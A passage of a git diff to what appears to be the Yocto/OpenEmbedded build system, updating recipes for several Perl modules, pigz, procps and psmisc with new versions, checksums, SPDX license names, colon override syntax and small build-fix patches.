+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
deleted file mode 100644
index 9f992d3e83..0000000000
--- a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
-
-SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/Convert-ASN1-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "68723e96be0b258a9e20480276e8a62c"
-SRC_URI[sha256sum] = "74a4a78ae0c5e973100ac0a8f203a110f76fb047b79dae4fc1fd7d6814d3d58a"
-
-S = "${WORKDIR}/Convert-ASN1-${PV}"
-
-inherit cpan ptest-perl
-
-EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
-
-RDEPENDS_${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix"
-RDEPENDS_${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb
new file mode 100644
index 0000000000..2714582957
--- /dev/null
+++ b/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
+SECTION = "libs"
+HOMEPAGE = "http://search.cpan.org/dist/Convert-ASN1/"
+DESCRIPTION = "Convert::ASN1 is a perl library for encoding/decoding data using ASN.1 definitions."
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
+
+SRC_URI = "https://cpan.metacpan.org/authors/id/T/TI/TIMLEGGE/Convert-ASN1-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "1fdf004520c79e3a244cf9688616293516c11793d746c761f367496eb3d06076"
+
+S = "${WORKDIR}/Convert-ASN1-${PV}"
+
+inherit cpan ptest-perl
+
+EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
+
+RDEPENDS:${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix"
+RDEPENDS:${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
index 7219c7d11e..3e0d216a03 100644
--- a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
+++ b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
@@ -1,8 +1,9 @@
SUMMARY = "Perl modules useful for manipulating date and time information"
HOMEPAGE = "https://metacpan.org/release/TimeDate"
+DESCRIPTION = "This is the perl5 TimeDate distribution. It requires perl version 5.003 or later."
SECTION = "libs"
# You can redistribute it and/or modify it under the same terms as Perl itself.
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://README;beginline=21;md5=576b7cb41e5e821501a01ed66f0f9d9e"
SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/TimeDate-${PV}.tar.gz"
@@ -13,9 +14,8 @@ inherit cpan ptest-perl
BBCLASSEXTEND = "native"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
-RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-utf8"
+RDEPENDS:${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
+RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-utf8"
SRC_URI[md5sum] = "b1d91153ac971347aee84292ed886c1c"
SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86"
diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
index 57c407e0f8..568268d886 100644
--- a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
+++ b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "XML::NamespaceSupport offers a simple way to process namespace-ba
basic checks. "
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
SRCNAME = "XML-NamespaceSupport"
@@ -21,7 +21,7 @@ S = "${WORKDIR}/${SRCNAME}-${PV}"
inherit cpan ptest-perl
-RDEPENDS_${PN}-ptest += "perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-test-more"
BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
index 2bff65a082..ebec5f0462 100644
--- a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
+++ b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
@@ -7,8 +7,8 @@ use this module as a base class so you don't have to, for example, \
implement the characters() callback."
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-RDEPENDS_${PN} += "perl-module-extutils-makemaker"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+RDEPENDS:${PN} += "perl-module-extutils-makemaker"
LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446"
@@ -21,6 +21,6 @@ S = "${WORKDIR}/XML-SAX-Base-${PV}"
inherit cpan ptest-perl
-RDEPENDS_${PN}-ptest += "perl-module-test perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
index 02ee34ee17..bc2aa0821e 100644
--- a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
+++ b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
@@ -9,9 +9,9 @@ come from the Java JAXP specification (SAX part), only without the \
javaness."
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
DEPENDS += "libxml-namespacesupport-perl-native"
-RDEPENDS_${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
+RDEPENDS:${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3"
@@ -29,9 +29,9 @@ do_install_ptest() {
chown -R root:root ${D}${PTEST_PATH}/testfiles
}
-RDEPENDS_${PN} += "perl-module-encode perl-module-perlio"
+RDEPENDS:${PN} += "perl-module-encode perl-module-perlio"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
perl-module-base \
perl-module-encode-byte \
perl-module-encode-unicode \
diff --git a/meta/recipes-extended/pigz/pigz_2.4.bb b/meta/recipes-extended/pigz/pigz_2.4.bb
deleted file mode 100644
index 8c65ec34f0..0000000000
--- a/meta/recipes-extended/pigz/pigz_2.4.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "A parallel implementation of gzip"
-DESCRIPTION = "pigz, which stands for parallel implementation of gzip, is a \
-fully functional replacement for gzip that exploits multiple processors and \
-multiple cores to the hilt when compressing data. pigz was written by Mark \
-Adler, and uses the zlib and pthread libraries."
-HOMEPAGE = "http://zlib.net/pigz/"
-SECTION = "console/utils"
-LICENSE = "Zlib & Apache-2.0"
-LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
-
-SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
-SRC_URI[md5sum] = "def2f6e19d9d8231445adc1349d346df"
-SRC_URI[sha256sum] = "a4f816222a7b4269bd232680590b579ccc72591f1bb5adafcd7208ca77e14f73"
-PROVIDES_class-native += "gzip-native"
-
-# Point this at the homepage in case /fossils/ isn't updated
-UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
-UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
-
-DEPENDS = "zlib"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-inherit update-alternatives
-
-do_install() {
- # Install files into /bin (FHS), which is typical place for gzip
- install -d ${D}${base_bindir}
- install ${B}/pigz ${D}${base_bindir}/pigz
- ln -nsf pigz ${D}${base_bindir}/unpigz
- ln -nsf pigz ${D}${base_bindir}/pigzcat
-}
-
-do_install_append_class-native() {
- install -d ${D}${bindir}
- install ${B}/pigz ${D}${bindir}/gzip
- ln -nsf gzip ${D}${bindir}/gunzip
- ln -nsf gzip ${D}${bindir}/zcat
-}
-
-ALTERNATIVE_PRIORITY = "110"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
-ALTERNATIVE_${PN}_class-nativesdk = ""
-ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
-ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
-ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
-ALTERNATIVE_TARGET = "${base_bindir}/pigz"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/pigz/pigz_2.7.bb b/meta/recipes-extended/pigz/pigz_2.7.bb
new file mode 100644
index 0000000000..9a1c591b27
--- /dev/null
+++ b/meta/recipes-extended/pigz/pigz_2.7.bb
@@ -0,0 +1,48 @@
+SUMMARY = "A parallel implementation of gzip"
+DESCRIPTION = "pigz, which stands for parallel implementation of gzip, is a \
+fully functional replacement for gzip that exploits multiple processors and \
+multiple cores to the hilt when compressing data. pigz was written by Mark \
+Adler, and uses the zlib and pthread libraries."
+HOMEPAGE = "http://zlib.net/pigz/"
+SECTION = "console/utils"
+LICENSE = "Zlib & Apache-2.0"
+LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
+
+SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
+SRC_URI[sha256sum] = "b4c9e60344a08d5db37ca7ad00a5b2c76ccb9556354b722d56d55ca7e8b1c707"
+PROVIDES:class-native += "gzip-native"
+
+# Point this at the homepage in case /fossils/ isn't updated
+UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
+UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
+
+DEPENDS = "zlib"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS="
+
+inherit update-alternatives
+
+do_install() {
+ # Install files into /bin (FHS), which is typical place for gzip
+ install -d ${D}${base_bindir}
+ install ${B}/pigz ${D}${base_bindir}/pigz
+ ln -nsf pigz ${D}${base_bindir}/unpigz
+ ln -nsf pigz ${D}${base_bindir}/pigzcat
+}
+
+do_install:append:class-native() {
+ install -d ${D}${bindir}
+ install ${B}/pigz ${D}${bindir}/gzip
+ ln -nsf gzip ${D}${bindir}/gunzip
+ ln -nsf gzip ${D}${bindir}/zcat
+}
+
+ALTERNATIVE_PRIORITY = "110"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN}:class-nativesdk = ""
+ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
+ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
+ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
+ALTERNATIVE_TARGET = "${base_bindir}/pigz"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/procps/procps/0001-Fix-out-of-tree-builds.patch b/meta/recipes-extended/procps/procps/0001-Fix-out-of-tree-builds.patch
deleted file mode 100644
index e548194362..0000000000
--- a/meta/recipes-extended/procps/procps/0001-Fix-out-of-tree-builds.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From 0825db94fc91fa2150c0e649e92cc8dcc44f4b38 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 4 Apr 2018 14:09:45 +0300
-Subject: [PATCH] Fix out of tree builds
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- include/nls.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/include/nls.h b/include/nls.h
-index 1166b7b..f5abe05 100644
---- a/include/nls.h
-+++ b/include/nls.h
-@@ -6,7 +6,7 @@
- #define PROCPS_NG_NLS_H
-
- /* programs issuing textdomain() need PACKAGE string */
--#include "../config.h"
-+#include "config.h"
-
- /* programs issuing bindtextdomain() also need LOCALEDIR string */
- #ifndef LOCALEDIR
diff --git a/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch b/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch
new file mode 100644
index 0000000000..c92ad28e4f
--- /dev/null
+++ b/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch
@@ -0,0 +1,44 @@
+From 22f8d25567b8d64bdbab0fb0b4915b4362561d9b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 24 Feb 2021 21:14:31 +0000
+Subject: [PATCH] w.c: correct musl builds
+
+No need to redefine UT_ stuff to something that does not exist.
+
+UT_ is already provided in musl but via utmp.h header, so include
+it always.
+
+Upstream-Status: Submitted [https://gitlab.com/procps-ng/procps/-/merge_requests/126]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ w.c | 9 +--------
+ 1 file changed, 1 insertion(+), 8 deletions(-)
+
+diff --git a/w.c b/w.c
+index 9d07ac9..d10639b 100644
+--- a/w.c
++++ b/w.c
+@@ -57,9 +57,8 @@
+ #include <unistd.h>
+ #ifdef HAVE_UTMPX_H
+ # include <utmpx.h>
+-#else
+-# include <utmp.h>
+ #endif
++#include <utmp.h>
+ #include <arpa/inet.h>
+
+ static int ignoreuser = 0; /* for '-u' */
+@@ -72,12 +71,6 @@ typedef struct utmpx utmp_t;
+ typedef struct utmp utmp_t;
+ #endif
+
+-#if !defined(UT_HOSTSIZE) || defined(__UT_HOSTSIZE)
+-# define UT_HOSTSIZE __UT_HOSTSIZE
+-# define UT_LINESIZE __UT_LINESIZE
+-# define UT_NAMESIZE __UT_NAMESIZE
+-#endif
+-
+ #ifdef W_SHOWFROM
+ # define FROM_STRING "on"
+ #else
diff --git a/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch b/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch
new file mode 100644
index 0000000000..5fa1ac9d78
--- /dev/null
+++ b/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch
@@ -0,0 +1,23 @@
+From 4f964821398dff7ab21fec63da15e1e00b2e9277 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 24 Feb 2021 21:16:14 +0000
+Subject: [PATCH] proc/escape.c: add missing include
+
+Upstream-Status: Submitted [https://gitlab.com/procps-ng/procps/-/merge_requests/126]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ proc/escape.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/proc/escape.c b/proc/escape.c
+index 2e8fb7d..e1f4612 100644
+--- a/proc/escape.c
++++ b/proc/escape.c
+@@ -21,6 +21,7 @@
+ #include <sys/types.h>
+ #include <string.h>
+ #include <limits.h>
++#include <langinfo.h>
+ #include "procps.h"
+ #include "escape.h"
+ #include "readproc.h"
diff --git a/meta/recipes-extended/procps/procps_3.3.15.bb b/meta/recipes-extended/procps/procps_3.3.15.bb
deleted file mode 100644
index f240e54fd8..0000000000
--- a/meta/recipes-extended/procps/procps_3.3.15.bb
+++ /dev/null
@@ -1,69 +0,0 @@
-SUMMARY = "System and process monitoring utilities"
-DESCRIPTION = "Procps contains a set of system utilities that provide system information about processes using \
-the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
-HOMEPAGE = "https://gitlab.com/procps-ng/procps"
-SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
- "
-
-DEPENDS = "ncurses"
-
-inherit autotools gettext pkgconfig update-alternatives
-
-SRC_URI = "http://downloads.sourceforge.net/project/procps-ng/Production/procps-ng-${PV}.tar.xz \
- file://sysctl.conf \
- file://0001-Fix-out-of-tree-builds.patch \
- "
-
-SRC_URI[md5sum] = "2b0717a7cb474b3d6dfdeedfbad2eccc"
-SRC_URI[sha256sum] = "10bd744ffcb3de2d591d2f6acf1a54a7ba070fdcc432a855931a5057149f0465"
-
-S = "${WORKDIR}/procps-ng-${PV}"
-
-EXTRA_OECONF = "--enable-skill --disable-modern-top"
-
-do_install_append () {
- install -d ${D}${base_bindir}
- [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
- install -d ${D}${base_sbindir}
- [ "${sbindir}" != "${base_sbindir}" ] && for i in ${base_sbindir_progs}; do mv ${D}${sbindir}/$i ${D}${base_sbindir}/$i; done
- if [ "${base_sbindir}" != "${sbindir}" ]; then
- rmdir ${D}${sbindir}
- fi
-
- install -d ${D}${sysconfdir}
- install -m 0644 ${WORKDIR}/sysctl.conf ${D}${sysconfdir}/sysctl.conf
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}${sysconfdir}/sysctl.d
- ln -sf ../sysctl.conf ${D}${sysconfdir}/sysctl.d/99-sysctl.conf
- fi
-}
-
-CONFFILES_${PN} = "${sysconfdir}/sysctl.conf"
-
-bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
-base_bindir_progs += "kill pidof ps watch"
-base_sbindir_progs += "sysctl"
-
-ALTERNATIVE_PRIORITY = "200"
-ALTERNATIVE_PRIORITY[pidof] = "150"
-
-ALTERNATIVE_${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
-
-ALTERNATIVE_${PN}-doc = "kill.1 uptime.1"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
-
-python __anonymous() {
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-
- for prog in d.getVar('base_sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
-}
-
-# 'ps' isn't suitable for use as a security tool so whitelist this CVE.
-# https://bugzilla.redhat.com/show_bug.cgi?id=1575473#c3
-CVE_CHECK_WHITELIST += "CVE-2018-1121"
diff --git a/meta/recipes-extended/procps/procps_3.3.17.bb b/meta/recipes-extended/procps/procps_3.3.17.bb
new file mode 100644
index 0000000000..0f5575c9ab
--- /dev/null
+++ b/meta/recipes-extended/procps/procps_3.3.17.bb
@@ -0,0 +1,103 @@
+SUMMARY = "System and process monitoring utilities"
+DESCRIPTION = "Procps contains a set of system utilities that provide system information about processes using \
+the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
+HOMEPAGE = "https://gitlab.com/procps-ng/procps"
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
+ "
+
+DEPENDS = "ncurses"
+
+inherit autotools gettext pkgconfig update-alternatives
+
+SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https;branch=master \
+ file://sysctl.conf \
+ file://0001-w.c-correct-musl-builds.patch \
+ file://0002-proc-escape.c-add-missing-include.patch \
+ "
+SRCREV = "19a508ea121c0c4ac6d0224575a036de745eaaf8"
+
+S = "${WORKDIR}/git"
+
+# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
+# don't ship a po/POTFILES.in (which is silly). Without that file gettext
+# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
+do_configure:prepend() {
+ ( cd ${S} && po/update-potfiles )
+}
+
+EXTRA_OECONF = "--enable-skill --disable-modern-top"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
+
+do_install:append () {
+ install -d ${D}${base_bindir}
+ [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
+ install -d ${D}${base_sbindir}
+ [ "${sbindir}" != "${base_sbindir}" ] && for i in ${base_sbindir_progs}; do mv ${D}${sbindir}/$i ${D}${base_sbindir}/$i; done
+ if [ "${base_sbindir}" != "${sbindir}" ]; then
+ rmdir ${D}${sbindir}
+ fi
+
+ install -d ${D}${sysconfdir}
+ install -m 0644 ${WORKDIR}/sysctl.conf ${D}${sysconfdir}/sysctl.conf
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -d ${D}${sysconfdir}/sysctl.d
+ ln -sf ../sysctl.conf ${D}${sysconfdir}/sysctl.d/99-sysctl.conf
+ fi
+}
+
+CONFFILES:${PN} = "${sysconfdir}/sysctl.conf"
+
+bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
+base_bindir_progs += "kill pidof ps watch"
+base_sbindir_progs += "sysctl"
+
+ALTERNATIVE_PRIORITY = "200"
+ALTERNATIVE_PRIORITY[pidof] = "150"
+
+ALTERNATIVE:${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
+
+ALTERNATIVE:${PN}-doc = "kill.1 uptime.1"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
+
+python __anonymous() {
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+
+ for prog in d.getVar('base_sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
+}
+
+# 'ps' isn't suitable for use as a security tool so whitelist this CVE.
+# https://bugzilla.redhat.com/show_bug.cgi?id=1575473#c3
+CVE_CHECK_IGNORE += "CVE-2018-1121"
+
+PROCPS_PACKAGES = "${PN}-lib \
+ ${PN}-ps \
+ ${PN}-sysctl"
+
+PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}"
+RDEPENDS:${PN} += "${PROCPS_PACKAGES}"
+
+RDEPENDS:${PN}-ps += "${PN}-lib"
+RDEPENDS:${PN}-sysctl += "${PN}-lib"
+
+FILES:${PN}-lib = "${libdir}"
+FILES:${PN}-ps = "${base_bindir}/ps.${BPN}"
+FILES:${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d"
+
+ALTERNATIVE:${PN}:remove = "ps"
+ALTERNATIVE:${PN}:remove = "sysctl"
+
+ALTERNATIVE:${PN}-ps = "ps"
+ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps"
+ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps"
+
+ALTERNATIVE:${PN}-sysctl = "sysctl"
+ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl"
+ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl" \ No newline at end of file
diff --git a/meta/recipes-extended/psmisc/psmisc.inc b/meta/recipes-extended/psmisc/psmisc.inc
index 594a10cf22..12539dad53 100644
--- a/meta/recipes-extended/psmisc/psmisc.inc
+++ b/meta/recipes-extended/psmisc/psmisc.inc
@@ -7,8 +7,8 @@ command sends a specified signal (SIGTERM if nothing is specified) to \
processes identified by name. The fuser command identifies the PIDs \
of processes that are using specified files or filesystems."
SECTION = "base"
-DEPENDS = "ncurses virtual/libintl gettext-native"
-LICENSE = "GPLv2"
+DEPENDS = "ncurses virtual/libintl"
+LICENSE = "GPL-2.0-only"
SRC_URI = "${SOURCEFORGE_MIRROR}/psmisc/psmisc-${PV}.tar.gz"
@@ -19,8 +19,7 @@ inherit autotools gettext
# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
# don't ship a po/POTFILES.in (which is silly). Without that file gettext
# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
-EXTRA_AUTORECONF_remove = "--exclude=autopoint"
-do_configure_prepend() {
+do_configure:prepend() {
( cd ${S} && po/update-potfiles )
}
@@ -28,30 +27,30 @@ do_configure_prepend() {
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc"
PACKAGES += "psmisc-extras"
-FILES_${PN} = ""
-RDEPENDS_${PN} = "fuser killall pstree"
+FILES:${PN} = ""
+RDEPENDS:${PN} = "fuser killall pstree"
-FILES_fuser = "${bindir}/fuser.${BPN}"
-FILES_fuser-doc = "${mandir}/man1/fuser*"
+FILES:fuser = "${bindir}/fuser.${BPN}"
+FILES:fuser-doc = "${mandir}/man1/fuser*"
-FILES_killall = "${bindir}/killall.${BPN}"
-FILES_killall-doc = "${mandir}/man1/killall*"
+FILES:killall = "${bindir}/killall.${BPN}"
+FILES:killall-doc = "${mandir}/man1/killall*"
-FILES_pstree = "${bindir}/pstree"
-FILES_pstree-doc = "${mandir}/man1/pstree*"
+FILES:pstree = "${bindir}/pstree"
+FILES:pstree-doc = "${mandir}/man1/pstree*"
-FILES_psmisc-extras = "${bindir}"
-FILES_psmisc-extras-doc = "${mandir}"
+FILES:psmisc-extras = "${bindir}"
+FILES:psmisc-extras-doc = "${mandir}"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_killall = "killall"
+ALTERNATIVE:killall = "killall"
-ALTERNATIVE_fuser = "fuser"
+ALTERNATIVE:fuser = "fuser"
diff --git a/meta/recipes-extended/psmisc/psmisc/0001-Makefile.am-create-src-directory-before-attempting-t.patch b/meta/recipes-extended/psmisc/psmisc/0001-Makefile.am-create-src-directory-before-attempting-t.patch
deleted file mode 100644
index 4d44495fd3..0000000000
--- a/meta/recipes-extended/psmisc/psmisc/0001-Makefile.am-create-src-directory-before-attempting-t.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 285877b7761d74736aca2687ed9bef2f78b82c33 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 2 Nov 2017 16:21:22 +0200
-Subject: [PATCH] Makefile.am: create src directory before attempting to write
- there
-
-Otherwise out of tree builds will fail.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile.am b/Makefile.am
-index 9f61ab4..b4ced7f 100644
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -79,7 +79,7 @@ EXTRA_DIST = src/signames.c README.md
- CLEANFILES = src/signames.h
-
- src/signames.h: src/signames.c Makefile
-- export LC_ALL=C ; \
-+ export LC_ALL=C ; mkdir -p src ; \
- @CPP@ -dM $< |\
- tr -s '\t ' ' ' | sort -n -k 3 | sed \
- 's:#define SIG\([A-Z][A-Z]*[0-9]*\) \([0-9][0-9]*\).*$\:{\ \2,"\1" },:p;d' | \
---
-2.14.2
-
diff --git a/meta/recipes-extended/psmisc/psmisc_23.2.bb b/meta/recipes-extended/psmisc/psmisc_23.2.bb
deleted file mode 100644
index 38e0a44058..0000000000
--- a/meta/recipes-extended/psmisc/psmisc_23.2.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require psmisc.inc
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
-
-SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https \
- file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
- file://0001-Makefile.am-create-src-directory-before-attempting-t.patch \
- "
-SRCREV = "44eab9a3a63394eae6b79a7ef0a042f57e0c8a8f"
-S = "${WORKDIR}/git"
